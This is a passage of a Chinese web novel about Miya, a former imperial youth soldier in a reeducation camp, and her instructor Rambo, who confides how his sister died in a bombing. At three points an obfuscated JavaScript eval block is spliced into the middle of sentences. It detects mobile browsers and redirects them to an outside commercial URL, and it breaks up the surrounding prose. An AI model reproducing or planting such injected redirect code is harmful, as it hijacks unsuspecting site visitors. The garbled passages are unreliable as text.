“那天谢谢你,也谢谢你带我到城里转了转。但你不可能明白,我也没法理解你。是我们杀死了你的妹妹,而你却在这里。我不明白你这个人是怎么回事。你应该恨我们的,那样对所有人都更好、更简单一些。” 兰波像是想要阻止她继续吐出道别一般的语句,向她靠近一步。 但弥雅坚决地做出一个拒绝的手势。 门外传来急促的脚步声。 弥雅知道时间到了,她微微地笑了一下,有些无可奈何,但又十分冷酷地送上最后的饯别之词: “兰波教官,我想……你并不是坏人。只是你出现得太晚了。” 11. 零下七十九 弥雅凝视着眼前的人影。 她知道自己在梦中,身体沉睡于关禁闭的小房间。没有别的事,她当然只能睡觉。而她在梦中常常能保留清醒的意识。 面前仿佛是一面镜子,映出熟悉的身影。 眉骨很高,习惯蹙起的眉头和冷灰绿的眼睛都给人戒备不友好的印象。齐肩金发乱蓬蓬的,像难驯的枯草,加上营养不良般苍白的肤色,整张脸因此显得更加消瘦。不丑陋,也不怎么出挑,最多称得上秀丽,这张脸集齐了与帝国北方人挂钩的所有特征。 如果调阅弥雅·杜伦的学员档案,映入眼帘的也会是这张脸。 然而,每当弥雅经过盥洗室,镜面另一头明明属于自己的脸孔总令她感到陌生。 其他人总能在她身上找寻到别的什么人的影子,又或亡灵。 战争还没结束时是这样。不止一次,在地下庇护所,在冲锋前的黎明,在重新检阅编队后的人群里,弥雅被拉住,对方难以置信地叫出一个陌生的名字,在她茫然的注视下,对方满面的喜色凝固,化作一声讷讷的“对不起,认错人了,但你真的很像我的一个朋友……”朋友在别的场合下置换为妹妹,有时候又是姐姐,也有时候是女儿。 战争结束后还是这样。弥雅甚至习惯了有人在第一次见到她时先恍惚一怔。斯坦教官也不例外。只不过他的反应更夸张。因为右腿不利索,带得他浑身踉跄了一下,险些跌倒。斯坦的姐姐同样金发碧眼,身材瘦弱。阿廖沙从没说过,但弥雅知道,他有时也会在她身上看到活在记忆深处的另一个人。那种时候,他的脸上总有怨恨。但不知道是冲着谁去的。 她可以在他人眼中成为任意一个谁。旧识,前帝国少年军,战犯,帝国,战争。 弥雅冷不防想到,兰波又在她身上看到了谁? 她答不上来。 从第一次见面,兰波注视的便是莱辛改造营13号学员弥雅·杜伦。 但就连这个名字也缺乏意义。她叫弥雅没什么别的缘由,福利院名册上来来回回就那么二三十个常见的名字,字母顺排序,先来后到,正好轮到她叫弥雅。弥雅的双亲当然不姓杜伦,没人知道他们姓什么,来自同一所福利院的孩子们都姓杜伦。杜伦是慷慨资助福利院的某位企业家的姓氏。 在她之前,不止一位弥雅·杜伦已经从福利院走出去,也许最早的那些还抵达了外面的世界,开战几年后,只要条件符合的福利院孩子就会成为少年军,区别只是普通和精英部队。书写古老时代的记录里,国王王后有一世二世三世,那么她是弥雅·杜伦第几世?后面还有多少个弥雅·杜伦? 从又一天的战斗中活下来的时候,弥雅偶尔会想,那位杜伦先生会不会为自己的那么多冠着他姓氏的“孩子们”死在前线而骄傲或是心虚。大概不会。 也不知道这位杜伦先生现在是死是活。 脚步声响,弥雅立刻清醒。 禁闭室的房门开了一条缝后又阖上了。 值守的教官来确认她还活着。监控摄像还不够。 弥雅坐起身,环顾四周,觉得有点好笑。禁闭室和接待室构造相似,只不过光线更为昏暗柔和。饮用水和食物从墙面的小口取用,容器全部是无法撕裂、更不可能制作成凶器的纤维材质。地面是软的,除了被褥和隐藏在一道门板后的坐便器,什么多余的东西都没有。没有可以悬吊的地方,而要不引人瞩目地拿厚毯子勒死或闷死自己是件困难的大工程。除非弥雅愿意把头扎进马桶里溺水。 况且她和阿廖沙约好不再试图自杀。她已将生命许诺给他。一物换一物。 弥雅又看到斯坦站在杂物架子前,正在泡咖啡。她走过去,手里拿着烟灰缸。 闭上眼,弥雅转开注意力,斯坦和杂物架都如泡泡般消散不见。斯坦已经死了。曾经的朋友也死了,战友死了,指导员死了。 而她,弥雅·杜伦,还活着。 弥雅也不明白为什么她活了下来。也许因为她是个听话得恰到好处的孩子,不懂得恐惧为何物,服从命令,不问多余的问题。但比她更听话的那么多人都乖乖地死在代号五花八门的任务里。这个问题弥雅想了数年,眼下得出的结论是她还不够听话,没有干劲,缺乏强烈的求生意志,但也从不做多余的事。 到最后一刻都是如此。 那一天,宣告帝国战败投降的广播一遍遍循环,指导员在他们面前饮弹。那之后,有绝望的少年军成员相继喊着口号赴死。弥雅一动不动,冷漠地看着他们倒下,看着敌军士兵冲开地下室的门,却伫在门口,不敢立刻进来。他们害怕少年军会试图同归于尽。 站在正义一边的成年人面对他们这些被邪恶一方亲切地养育大的孩子们,不论是地上死的,还是站着蹲着还活着的,都显得万分恐惧。帝国少年军比正规军还要疯狂,还要残忍。尤其是精英部队,每个成员都要严密监控。这是后来弥雅听说的对于他们的评价。 但弥雅会永远记得那种眼神。宣判无法理解的另一种生物的眼神。 而那个时候,她充分理解并接受了战败这个事实。 举起双手,弥雅第一个向门口走去。向着警戒的黑枪口。 她多少怀着会被射杀的希望。 但她又活了下来。 弥雅是头一批进入莱辛的学员。精英战队队员占大多数。因为她“带头投降”,不愿意接受战败的忠诚少年军们唾弃弥雅,在她身上看到卑怯的叛徒;但也有人暗中安慰过她,说她迈出的第一步给了他们勇气,他们自作主张把她看成清醒的英雄。弥雅耸耸肩。她哪个都不是。她终究让两方失望。 第一批学员中的一半人拒绝接受战败的事实,试图发动政变占领改造营,计划败露后很快被转移,离开了改造营。弥雅没有参与,不知道他们去了哪里。剩下的那一半人逐渐改过自新,一个一个地离开,无一例外地在离开前多看弥雅一眼,那目光仿佛被她背叛,因为他们不明白为什么这一次她没有带头往门口走。 两位数编号的学员如今只剩下她和阿廖沙。 如果没有遇到斯坦教官…… 弥雅颤栗了一下。事到如今,这个念头令她感到恶心。 录口供,首都景物,阿廖沙归来,对兰波又一次发作,短短两天里发生的事情太多。她的精力和感情都透支枯竭,担负不起思索困难事的重荷。她索性蜷缩起来。 在弥雅再度沉入梦境之前,敲门声响。 心头一突。她只认识一个会在改造营敲门的人。 “弥雅。” 当然是兰波的嗓音。 她下意识将毯子拉过头顶。 数拍的停顿后,兰波在门的另一边重复:“弥雅?” 弥雅怀疑再不应声他就会开门,便没好气地回道:“你来干什么?” “接你离开这里。” 沉默半晌,她没有问他是怎么得到许可的。 但兰波已经出言解释:“我向高层解释过了,这次是我的过失,出言不当导致你情绪失控。对不起。” 她没接话。 “弥雅?” 弥雅坐起来:“我不想离开这里。禁闭室很清静。” 另一边兰波吸了口气。 在他开口前,弥雅抢着说:“不用管我了,真的。” 她慢慢站起来,一直走到门边: “谢谢你的好意,兰波教官。但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726826|189495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的不用了。” 隔了一道门,弥雅不需要害怕被兰波看到神情,因此口气诚恳、礼貌而且平静。就像她被从接待室带走前的道别一样。 “作为教官,你已经做得很好。但我不会领情。请你放弃我吧。” “因为……我出现得太晚了?”兰波低语。 弥雅的嘴唇哆嗦了一下:“对。” “和斯坦教官有关?” 更长的数拍停顿。 “对。” “也和阿廖沙有关?” 这次弥雅没有回答。她陡然意识到,虽然隔了一道门板,但她与兰波之间的直线距离比此前任何的时刻都更短。她不禁开始想象兰波现在是什么样子。大概又是那种困扰又温柔的、受伤也不会被击倒的傻瓜一样的表情。 而后兰波再次开口:“我似乎还没有和你说过,我为什么会成为你的指导教官。” “报到那天,人事处带着我去档案室,汉娜小姐询问我是否有特别想要指导的学员类型。”他刻意停了停,仿佛留出任由弥雅猜测的时间,随后他才揭晓谜底,“我回答说,那么就把你们眼下最棘手最难处理的那份档案给我吧。” 弥雅不知道自己是否该笑。她有点想看汉娜那瞬间的表情。 “所以我有心理准备。我们也还有时间。之后我会更加小心。能不能再给我一个机会,弥雅?” 她全身骤然紧绷,害怕又一次听到“求你了”。 但兰波没有那么说。他再次突兀地转换话题,措辞比往常更琐碎,像是在从细节过于丰富的海洋中打捞重点,一边说一边觉得词不达意,为应当省略哪些、保留哪些细节而犹豫不决。 “袭击那天,原本该由我去使馆接安东尼娅。她快上大学了,为了领取奖学金,需要到使馆开一份亲属关系证明。官僚机构的手续总是很繁琐,安东尼娅不让我陪着她排队等,说浪费时间。而那天正好有法学院社团的朋友约我喝咖啡,我就先去学府区赴约,到了时间再去接安东尼娅。本该如此。” 兰波打了个寒颤。弥雅看不见他,但她无端觉得他一定这么做了。 “安东尼娅按时办好了手续,但我那里因为中途又加入了几个熟人,就拖得有些久,没能按时出发。”他平静地说了下去,仿佛接下来的事他已经这么叙述过无数遍,“刚开出学府区,我就听到了爆炸声。整条路上的车都困惑地停了下来。地平线的地方开始冒黑烟。交通瘫痪了,车流根本无法前行。开始有行人从爆炸的方向跑来,被拦下来也困惑又惊恐地摇头,什么样的传言都有,但听起来地点在大使馆附近。” “我扔下车,跑到使馆附近。现场已经封锁起来。我没有在等待救护车的人里找到安东尼娅。听说第一批伤者已经送去医院,我就又去了医院。那里也没有。换了一家医院,另一家,都没有。” “到最后也没能找到安东尼娅。” “她那天拿的手包,身上的首饰,衣服的碎片,什么都可以。” “但什么都没有。” 兰波困惑地停了一会儿,他定然也头晕目眩,不知道该从哪总结陈词。 弥雅在这寂静中颤抖起来。她不明白他为什么能够在人前如此平静地自剖伤口。而且偏偏是向她,前帝国少年军一员。他无心指责弹劾她,但她还是自感等同共犯。 她无比庆幸他们之间有这道紧闭的门。 但兰波没有就此放过她。 “如果我按时去接她,应该就能恰好和袭击错开。” 他吐出的词句接近呓语: “但是我到得太晚了。” 也是因为这句话,弥雅猛然意识到,她终于成功地伤害了兰波一次。 12. 零下七十九 “为什么要告诉我这些?” 弥雅抑制住内心的动摇,尽可能冷酷地问道。 兰波想了想才坦白回答:“我想要取得你的信任,那样的话,我就不能顾虑着自己,对你有所保留。”他自嘲地笑了一声,罕见地露出锋芒,声音却低下去:“也许我只是想找个人倾诉。” 他的软弱表现并没有带来喜悦。 恰恰相反,弥雅再次被足以冻结心脏的恐惧击中。 只要是血肉之躯的凡人,就不可能无坚不摧,划开皮肤就会流出温热的血,破坏致命的部位就会死去。所以兰波当然也会受伤,会感到痛苦,会想要倾诉。但他选择的倾诉对象是弥雅,她曾经与杀死安东尼娅的人穿同样的黑制服。但他的意图不在于指控,话语中更不见丝毫的恨意。没有含沙射影,没有愤怒,甚至连悲伤的情绪都要从字里行间解读。他只是在讲述。 这不正常。 如果只是想要拯救他人来弥补内心的懊悔与缺憾,应当有更好的选择。弥雅想,如果换作是自己,她不可能心平气和地向仇人的同党讲述妹妹原本要上大学,本可以领到奖学金,因此才会在致命的时刻出现在致命的地点。 兰波的痛苦越具体,他的平静就越沉重。 弥雅浑身僵硬。 禁闭室的门成了保护罩。幸好她不用看到兰波的表情。 骤然窥见无可理喻之物,超出常理,越崇高越教人毛骨悚然。 她将额头抵在门板上低语:“我现在更加不明白为什么你会到改造营来。” “我愿意解释。但这里……现在这样,不适合长时间谈话。而我的故事有些长。” 弥雅没有作答。 “我要开门了,可以吗?” 她扯了扯嘴角,低下头:“随便你。” 输入密码的按键声,禁闭室的门徐徐滑开。 弥雅被走廊上的明亮光线刺得立刻闭上双眼,缓了缓才重新启眸。她没在兰波脸上找到痛苦的痕迹。坦率的人未必不擅长隐藏。 兰波往后退了半步,给她留出有安全感的距离:“走吧,弥雅。” 她将内心的震动隐藏起来,熟门熟路地往出口走,又忽然回头:“去哪?” “由你决定。” “我无所谓。” 兰波闻言微笑,一如既往地好脾气:“那么就麻烦你跟我来了。” 外面已然是黄昏。 晚风带来食堂的气味,弥雅除了早晨的果酱面包什么都没吃,被其他教官带走后,还因为神经衰弱吐过,胃里恶狠狠地翻腾。 兰波走在前面,仿佛一无所觉。 如果他像之前那样转身递给她什么吃的东西,弥雅会立刻拔腿逃走。她想要窥视使兰波成为兰波的那个内核,但也确信必须与他保持距离。靠得再近一些,她就要起满身的鸡皮疙瘩。 但兰波只是领着她避开出入食堂的人潮,向着营地边缘去。 这是第一次由兰波走在前面。 他没有回头确认她是否跟着,但每走一段,他的头就会略微向后别,不动声色地倾听她的足音,配合着放缓或加快步调,维持不远不近的一段距离。 他将她的边界拿捏得很好。 这份体贴不免令弥雅感到烦躁又心慌。但某种奇异的好奇心战胜了它们。 最后两人来到营地东侧边缘的铁丝网前,也就是兰波上任第二天的早晨,弥雅不小心带他来过的角落。 “这里看不到日落,但看得到首都的夜景。” 弥雅将一颗小石子踢飞,没什么起伏地切入主题:“所以你为什么要来当教官?” 兰波将手里的纸袋放到地上,注视着铁丝网后的天幕。他没有戴帽子,夜晚蓝紫色的光将他的侧脸也染成忧郁的冷色,笔直看向远方的蓝眼睛显得比往常要更幽沉。 “下面这些事,你是第一个听众。” “那就算了。我不想听了。”弥雅立刻推拒。话出口她就开始后悔,但随即安慰自己之前已经吃过一次苦头,不该再犯:这个男人自残式的坦诚总附带价码,只能以她同等诚实的自白偿还。 兰波侧眸看她,平静地颔首:“你不想听的话,我就不说了。” 反正他最初的目的不过是将她从禁闭室带走。 “那么之后你能不能别再管我?” “弥雅,我是你的指导教官。” 闭了闭眼,她咬牙,容许好奇心再次占上风:“那你还是说吧。” 兰波颔首,走神似地沉默了一会儿,才将断在禁闭室两端的话头重新挑出来:“那之后,我消失了一年。” “消失?” 他难堪地摸了摸鼻子:“这个说法可能有些夸张。但那段时间我确实和家里断了联系。我……加入了一个组织。” 弥雅没有追问。她隐约猜到答案。 “即便是战时,中立国的商人还是会来做生意,许多物资更是不得不从外进口。而货物流通的渠道当然也可以成为情报和人流通的渠道,隐蔽地支持地下的反抗组织。” 弥雅想起了指导员们再三的警告。要警惕外乡人,他们可能是间谍。也要警惕返乡的侨民,他们一大半不干净。看到任何可疑的人都要立刻上报。大人对孩童的戒心较弱,要充分利用少年军的优势。 未遂的刺杀,针对重要军工厂的劫掠,机密资料险些失窃。这些字词她并不陌生。她想不到的是兰波竟然也曾经与那个世界有关。弥雅随即想到兰波举枪对着威尔逊时冰冷的声音。那时她就觉得奇怪,难以相信没沾过血的人能有那种口气。 “那一年里,我接受训练,习惯并完善新身份,等待任务时机潜入。现在想来,那时候家人一定很担心我。他们一次次地告诉我那不是我的错。甚至有朋友委婉地安慰说,如果我按时去接安东尼娅,也许牺牲者会再加一个。但我还是无法再在家里待下去。”兰波停顿了一下,“我受不了。” 弥雅盯住他:“你恨凶手吗?” 兰波恍惚了一下,他的眼神擦着弥雅的面颊向更远处飞,没入地平线朦胧的最后一线紫红。他好似在念描绘另一个世界的诗句:“当然,那时我恨透了袭击者。培养他们的少年军,还有策划这肮脏伎俩的帝国情报机关,我希望杀死安东尼娅的东西背后的一切全部灰飞烟灭。” “11月2日,我记得很清楚,我终于被分配到了任务,在预定在圣诞节开展的大行动中扮演一个颇为重要的角色。” 而后,他徐徐转向她,夜色笼罩他的脸庞,唯有那双澄澈的蓝眼睛里,有幽光随着绽开的微笑猝地一跳: “但几天之后,帝国宣布投降。与战争一道,我愚蠢的复仇在开始前就结束了。” 弥雅费力地挤出一个单词:“然后呢?” “然后,我就回家了。双亲看到我欣喜若狂。一切仿佛都好了起来。战胜最初那半个月到哪里都有种狂欢的气氛。但我知道事情并没有结束。我迫切感到,必须亲自到于我已经变得十分陌生的故乡一趟,只有那样,我才能做个了结。” 兰波看着山坡下星星点点亮起的城中灯火低语:“于是,我回到了这里。” “战争才结束不久,要回来其实并不容易。我加入了一个对市民进行援助和心理疏导、顺便搜集战争幸存者口头史料的志愿者组织。一开始我对这片土地上的一切充满敌意,哪怕这里是双亲至今眷恋的故乡。我感到只有维持这种态度,才不会侮辱安东尼娅。和我一起回来的许多人也是这样的心态。” “走访的对象有普通的市民,但也有为帝国效力的文员、底层官僚,后来还有在医院做康复训练的战俘,被创伤应激障碍折磨的少年军成员……”兰波的语速加快,“我不相信有罪的只有投降前自尽、或是站上法庭接受审判的高官。那样大规模、长时间的战争不是十几二十个人就能促成的。” “但我同样无法把那些只是服从命令、想要过好自己的生活的普通人视作战犯。如果是我,我未必就能做出正确道德的选择。每个人都有苦衷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726827|189495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,每个人也都犯了错误。在这里待得越久,我就越不知道究竟该恨谁。” 说到这里,他垂头,犹如在为一段虚掷的时间哀悼。 过了很久,兰波才再次开口,每个短句都在锤击定论棺盖的钉子,也敲得弥雅头晕目眩:“我的恨意无处安放。它只会令我空虚。所以我放弃怨恨。而最后,我终于辗转来到莱辛改造营。” 弥雅张了张口,却没能发出声音。 她不明白。 这几个句子连不起来。什么叫“所以”他放弃怨恨?他怎么做到的?这又和他来这里有什么关系?前后的因果关系在弥雅看来太过牵强,于兰波却仿佛做逻辑推导题,一二三步证明完毕。 她最不解、也最吸引她的谜团依旧是谜团。而这无可理喻之处正是兰波令弥雅敬畏的源头。她甚至不敢追问,只能任由他继续。 “你和在这座改造营里的所有孩子都是受害者,你们甚至没有做选择的机会。在这里的每个人都值得一个新开始,一个安东尼娅没有机会实现的美好未来。也只有在这里,我才能寻求到平静和解脱。”兰波苦笑,“可能这解释无法让你满意。但我能说的只有这些。” 弥雅盯着他看了很久。 夜色模糊了兰波的脸容,他高大的身影像缄默的石像。她也不知道自己在看什么。 最后,她问:“袭击使馆的那几个人,在你眼里,他们也是受害者?” 兰波并不意外,审慎地答道:“他们也是一场时代惨剧的受害者。但他们也是加害者,夺走了安东尼娅、其他许多人、以及他们自己的生命。” 弥雅捏紧拳头:“那么我和他们有什么不同?在某一个人眼里我一定也是加害者。” “并不是只有纯粹无暇的受害者才有资格得到帮助。不存在完美的受害者。” 明明兰波在为她辩护,弥雅却反而想要站上原告方的席位。她的口气变得激烈,想要将兰波逼进言语的死角,戳破他的伪善,拽出他恨意的尾巴:“如果那几个人还活着,如果他们就在这里,你会愿意当他们的指导教官么?” 兰波静默了片刻。他竟然认真地设想起那种场景。他定然在报纸上见过与安东尼娅、与其他在袭击中身亡的人一起消失的那几个少年军精英的照片,也熟记他们名字的拼写。也许此刻他就在想象身边站的不是弥雅,而是其中的一个人。 于是弥雅不禁也想象了一下“英勇赴死”的那几个少年少女的心情。只有狂热地相信着自己的使命的成员才会被选中执行重要任务。而弥雅从来不够热情。她不抗拒在战场上死去,但不止一次被怀疑对于帝国的大业缺乏忠诚,因而接受指导员和同伴的盘问。她还是无法理解兰波,但昔日的同伴们于她同等陌生。 弥雅忽然不知道自己抓着牢牢不放手的究竟是什么。 除了帝国少年军的过往,她一无所有。但回头看,那段曾经是她一切的时光也不过是一群不被需要的孩子伸长了手,在名为归属感的美梦中抱团取暖,寻求片刻的慰藉,而后再次被死亡和硝烟冲散。 弥雅没有溺死在战争的潮水里,却被冲上另一道险滩。如果她一开始表现得合群一些,许多事很可能就不会有机会发生。孤独的气味对猎食者而言是诱惑也是容易得手的确证。她的自我放逐给了他人机会。是她有错。因此遭受惩罚。是她,是他们有罪,因此必须代替面貌模糊的谁偿还,在一个又一个下雨天。 弥雅抱紧双臂,将不需要的念头挤碎,面对风轻云淡的春夜。 就在这时,兰波终于给出仔细斟酌后得出的答案。 他并没有掩饰内心的挣扎:“我一定会被两年前的自己怨恨。但如果他们真的在这里,我愿意担任他们的教官。” 弥雅哑口无言。 圣人平等地爱众生,却也对想要得到特殊对待的亲爱之人残忍。弥雅竟然不由自主同情起安东尼娅。她有那么一个愿意原谅杀死她之人的哥哥。 兰波大概真的是个走在疯狂深渊边沿的圣人。 13. 零下七十九 弥雅不禁连退数步。 她的反应令兰波费解。他看了她片刻,以为她在戒备着他陡然提问进攻,便试图温言令她放心:“我不打算以我的秘密交换你的秘密。” “那么你为什么要告诉我这些事?”弥雅警觉地眯起眼睛。 兰波的回答无可挑剔:“我不希望你认为我别有所图。如果我摊开底牌能让你放心,多信任我一些,那也没什么好隐瞒的。” 弥雅别开脸,与背后的寒意对抗着挤出粗鲁的词句:“如果你告诉我这些是想让我同情你,或是想要让我感觉愧疚,哈,痴心妄想。” “我没有那个意思。” “呵。” 兰波轻轻呼出一口气,换了一个话题:“之后的集体活动你还是不必参加,但我也不会逼迫你继续每天与我面谈。” 弥雅暗暗松了口气。但事到如今,她多少明白几天的缓和期不等于兰波已经放弃。她甚至有些怀疑这是什么新的把戏。于是她狐疑地侧眸盯他,等一个转折的“但是”。 兰波果然没有让她失望。 “但请你之后几天抽空读一读这本书。”这么说着,兰波拿起地上的纸袋,从里面拿出一本精装书递过来。 天色昏暗,弥雅看不清书脊上的烫金字。但这种装帧的书籍现在已经不多见,她从图书室偷出来的那些也少有精装本。 “这是什么?” “之前和你谈到的那位作家的遗作,去年由亲属托在另一个笔名下在海外筹资出版,你应该没有读过。” “遗作……”弥雅怔了怔。因为这个人的文字还留存着,她很容易就忘了作者本人也有一副会死去的血肉之躯。她不了解作者的生平,只知道现在的违禁名单上有那个名字。她便理所当然地以为那个人和战争一样已经死去很久,可听兰波的口气,那似乎是近些时候的事情。 “等你读完了,欢迎来和我交流感想。” “这是你的新策略?”弥雅没有伸手去接那本书。 兰波坦荡应道:“你可以这么认为。” 弥雅故意刁难他:“如果被人发现我在看这种东西,我该怎么解释?” “这是我的私人物品,转借给你,责任自然由我来承担。” 兰波维持着递书的动作。 弥雅咬住嘴唇。 不好奇是假的。会被视作违禁品的书籍对她本就有种天然的吸引力。弥雅又想到树上树下与兰波的那番对话。比起那时,她似乎多明白了一丁点兰波表达的意思:仇敌,亲友,有罪,无罪,有苦衷的,明知故犯的,在他眼里,这样划分立场善恶的界线也可以不存在。他一视同仁,同样仁慈,同等无情。那也许就是他所谓的“黑白分明的两极之外的容身之处”。也许这本书能解答她残余的一些疑惑。 弥雅的手指动了一下,又停住。好奇心害死猫。她不该探究下去。不单单因为这正合兰波心意。 “周日的面谈不能取消,但除此以外,这周我不会再过多介入你的日常生活。如果你想要找我,就告诉汉娜小姐。”语毕,兰波将书放回纸袋,而后退了一步。 他这小心的姿态像在投喂什么野生动物。 弥雅不禁恼火起来。她大步走过去,抄起那本精装书夹在腋下,而后把空了的纸袋揉成一团,朝兰波身上扔。 对方竟然接住了。 她一言不发地转身往回走,将华灯初上的首都夜景抛在身后。 兰波依旧送她到汉娜居住的宿舍楼下。 两人一路无言。 “那么之后见,弥雅。” 弥雅忽然感到饥肠辘辘。但在兰波的注视下,她无法拉下脸改道去食堂,便只能上楼。 汉娜脸上敷着效果有待考证的面膜开门,看了弥雅一眼就转身坐回桌边磨指甲,漫不经心地来了一句:“冰箱里有三明治,你不想吃的话就扔掉,放久了冷藏室里有味道。” 弥雅没有问汉娜为什么会准备晚饭。这不符合汉娜的个性。但用小脚趾想一想也能猜到是兰波事先说了什么。他已经极为了解她的思考方式,会以这种不动声色的方式取代直接督促她进食。弥雅摸了摸手臂,碰到细细的鸡皮疙瘩。这并非因为打开小冰箱时扑面而来的冷气。 冷藏过的三明治面包表面泛潮,夹在中间的牛肉和酸黄瓜则变得硬邦邦,弥雅也不计较味道,快速吃完,将包装纸投进垃圾桶。 汉娜地视线逆着纸团的抛物线落回弥雅身上:“你准备在我这里赖到什么时候?” “我可以现在就走。” 汉娜尴尬地顿了顿才撇嘴:“我不打算立刻赶人。风波还没过去,但我这里只有一张床,挤着谁都不舒服。而且,我不习惯和人住在一起。” “那你们不如给我一间单人宿舍。”弥雅又抢着说,“我真的不会自杀的。” 汉娜抬了抬眉毛。 弥雅耸肩:“不相信就算了。” “你……” “我洗澡去了。” “弥雅。” 她应声回头:“干嘛?” “这话不适合由我来说,所以我也只说一次,”面膜很好地覆盖了汉娜细微的表情变化,她很少表露个人感情,此刻的语调和措辞都十分生硬,“你应该毕业。” 弥雅有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726828|189495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些惊讶。 档案室的汉娜是改造营为数不多从没试图规劝过她的人。这番话是对方破例释放的善意。弥雅并非完全不领情,但也不可能毫无芥蒂地接受关心。她反倒宁可汉娜与以往一样对她冷眼旁观。但弥雅没有和往常一样对这类劝说做出过激的反应。可能刚才与兰波的对话耗尽了最后一点发火的戾气。她只是像没听见一样转身,重新往浴室里走。 但她的脚步被汉娜的下一句话绊住: “我不在乎斯坦是怎么死的。” 弥雅一动不动。 “就算你是凶手,那也是他罪有应得。你应该毕业,离开这里。” 翻转掌心向上,弥雅看着自己的双手。指尖沾了一点三明治包装纸上浸透的油脂,微微发着亮。没有血,也没有颤抖。 “我不知道你在说什么,”最后,弥雅这般作答,“斯坦教官服用了过量的药物产生幻觉,自己从窗台上跳了下去。窗户和窗框上有他的指纹,窗台上有他的脚印,没有什么可疑的。这是警方调查结果。” 汉娜噎了片刻才说:“按照你的情况,毕业之后会给你一个新身份新名字,不会有人知道你过去经历过什么。” 不知道为什么,弥雅没能及时反驳。她又想到了在教堂前树荫下寄托于某位年轻女士身上的幻觉。弥雅恼火地抓紧了自己的手臂。 都是兰波的错。 他不配合,她便渐渐地无法继续如众人所愿扮演顽劣不荀的问题学员13号。他的话语,他带她看到的风景,即便被她当场否定,还是悄无声息地侵蚀并动摇着她的意志。 --“我没有选择仇恨,决定成为现在的自己。弥雅,你一样可以做决定。” 尤其是今晚,兰波以自揭伤口的方式向她证明了这句话。 她无法理解兰波为何能够跨越过去。可他确实做到了。至少看起来如此。 “我见过大把真正还对帝国抱有幻想的小鬼,你和他们不一样。否则你也不会还在这里。斯坦还活着的时候可以理解,但现在……你的叛逆行为看上去毫无意义。如果你只是在退缩不前,那只能称为愚蠢。” “未知的东西最可怕,不是么?” 比如兰波,比如明天。 “谢谢你的好意,汉娜小姐,”弥雅语带嘲讽,回头笑了笑,“但我不会毕业的。” 汉娜明显地犹豫了一下,还是问道:“因为阿廖沙?” 弥雅重新背对她:“他需要我。” “但是你需要他么?” 弥雅怔了一下,扶住浴室门框,才非常熟练地回答道:“当然。没有他,我活不到今天。” 14. 零下七十八 接近中午,营地朝气蓬勃的喧闹声从树荫后的远方传来。周六是一周正式授课的最后一天,加上天气逐日变暖,鸟叫和虫鸣愈发用力,空气中弥漫着散漫和躁动。 弥雅躺在树荫下,任由思绪放空。 这是没有兰波打扰的第一天。 一开始她竟然不太习惯,时刻都提防着身后和余光瞥见的角落,生怕兰波高大的身影又会从哪里冒出来。逐渐地,她调整心态,逐渐找回兰波出现前的节奏。只要不被多事的教官撞见,今天也会是在外随便厮混过去的悠闲一日。但在脑海深处,一根弦始终不安地绷着: 周日,也就是明天的面谈并未取消。 贯彻沉默的策略对兰波无效,弥雅不知道该怎么继续应对他。 至于兰波“借”给她的那本书,如今正摊开在弥雅脸上当遮光板。油墨和纸张味道钻入鼻尖,时刻提醒她这是一本崭新的印刷品,与图书室的那些另一个时代的遗物不同。 阅读进度停在第二页。 弥雅并非不想读下去,但她本能地害怕这本书和与兰波一次次的谈话一样,会在她身上催生什么不可逆转的变化。 况且没读完是个非常好的借口,会让兰波失去最自然的下一个话题。他总不能因为她没看完而出言责备,这不符合他的作风。话是这么说,弥雅却莫名不自在。感觉像回到福利院的时候:妈妈不会检查拼写作业,但她还是会因为没按时完成而心虚。 弥雅脸上的书忽然被人拿起。 她眨眼适应增强的光线,在视野变得清晰前就认出来人,喃喃念出一个名字:“阿廖沙。” 黑发少年俯就的脸近得可以数清他的睫毛。长而卷翘的眼睫下是深蓝近黑的虹膜。阿廖沙的瞳孔因此显得比常人要大,令他在不说不动的时候浑似人偶,笑起来的时候则有种几近不祥的魅力。 “我回来了。” “嗯。”她没有问过去几天阿廖沙在哪里。 “这是什么?”阿廖沙在她身边躺下来,随意地合拢精装书举到两人眼前。 “如你所见,一本书。” 他因为弥雅小小的挖苦而愉快地笑起来:“讲什么的?” “不知道。才看到第二页。” 阿廖沙就瞬间失去兴趣,随手将书往旁边一扔,侧转身枕着手臂,聚精会神地注视她。他常常会这么一言不发地盯着她看,从头到脚,不漏过任何细节。 弥雅心头总会涌上被检阅似的怯意。 今天阿廖沙沉默的时间似乎比以往还要长。心跳随着秒数走动加速,她比从前任何时候都要害怕阿廖沙在她身上看到什么会惹得他发怒的东西。 “威尔逊被送进去了?”阿廖沙忽然出声。 弥雅依旧垂着视线:“嗯。一个礼拜前。” 